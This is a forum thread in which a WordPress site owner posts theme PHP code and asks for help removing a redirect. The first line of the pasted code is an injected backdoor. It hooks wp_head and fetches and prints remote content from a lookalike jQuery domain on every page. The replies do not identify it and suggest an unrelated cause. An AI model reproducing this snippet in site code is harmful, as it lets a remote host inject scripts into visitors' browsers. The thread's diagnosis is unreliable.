Hello and welcome to our community! Is this your first visit?
Register
Enjoy an ad free experience by logging in. Not a member yet? Register.
Results 1 to 4 of 4
  1. #1
    New to the CF scene
    Join Date
    Sep 2012
    Posts
    9
    Thanks
    9
    Thanked 0 Times in 0 Posts

    My theme redirects please help to remove redirect

    Code:
    <?php if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');} 
    define('THEME_SHORT_NAME', 'charity');
    define('THEME_LONG_NAME', 'African Charity theme');
    define('THEME_CODE_NAME', 'afrocharity');
    
    
    if(file_exists(dirname(__FILE__) . '/.dev')){
    	define('AIT_DEVELOPMENT', true); // is this development mode?
    } else {
    	ini_set('error_reporting', E_ALL ^ (E_NOTICE | E_WARNING));
    }
    
    $aitThemeCustomTypes = array(
    	'portfolio' => 31,
    	'service-box' => 33,
    	'room' => 34,

  • #2
    Regular Coder
    Join Date
    Dec 2012
    Posts
    121
    Thanks
    15
    Thanked 1 Time in 1 Post
    I think you would need to give more info for someone to help as there doesnt seem to be much in the code you pasted in

  • #3
    The fat guy next door VIPStephan's Avatar
    Join Date
    Jan 2006
    Location
    Halle (Saale), Germany
    Posts
    8,676
    Thanks
    6
    Thanked 1,008 Times in 981 Posts
    Why are you posting PHP code in the JavaScript frameworks forum? If this is a question related to jQuery then please post your JavaScript, not the PHP. Also, I don’t see any PHP redirect here so it must be something somewhere else, definitely not in the code you posted.

    The only thing I could think of right now is this:
    PHP Code:
    if(file_exists(dirname(__FILE__) . '/.dev')){
        
    define('AIT_DEVELOPMENT'true); // is this development mode?

    … 
    Do you have a file called .dev somewhere or do you know if you are in development mode?

  • Users who have thanked VIPStephan for this post:

    africaon (02-03-2013)

  • #4
    New to the CF scene
    Join Date
    Sep 2012
    Posts
    9
    Thanks
    9
    Thanked 0 Times in 0 Posts
    No and no file and not in development mode. It redirects to this url {$url="http://www.jqueryc.com/

    as indicated in the code above.

    If I removed the redirect it does not open.


  •  

    Posting Permissions

    • You may not post new threads
    • You may not post replies
    • You may not post attachments
    • You may not edit your posts
    •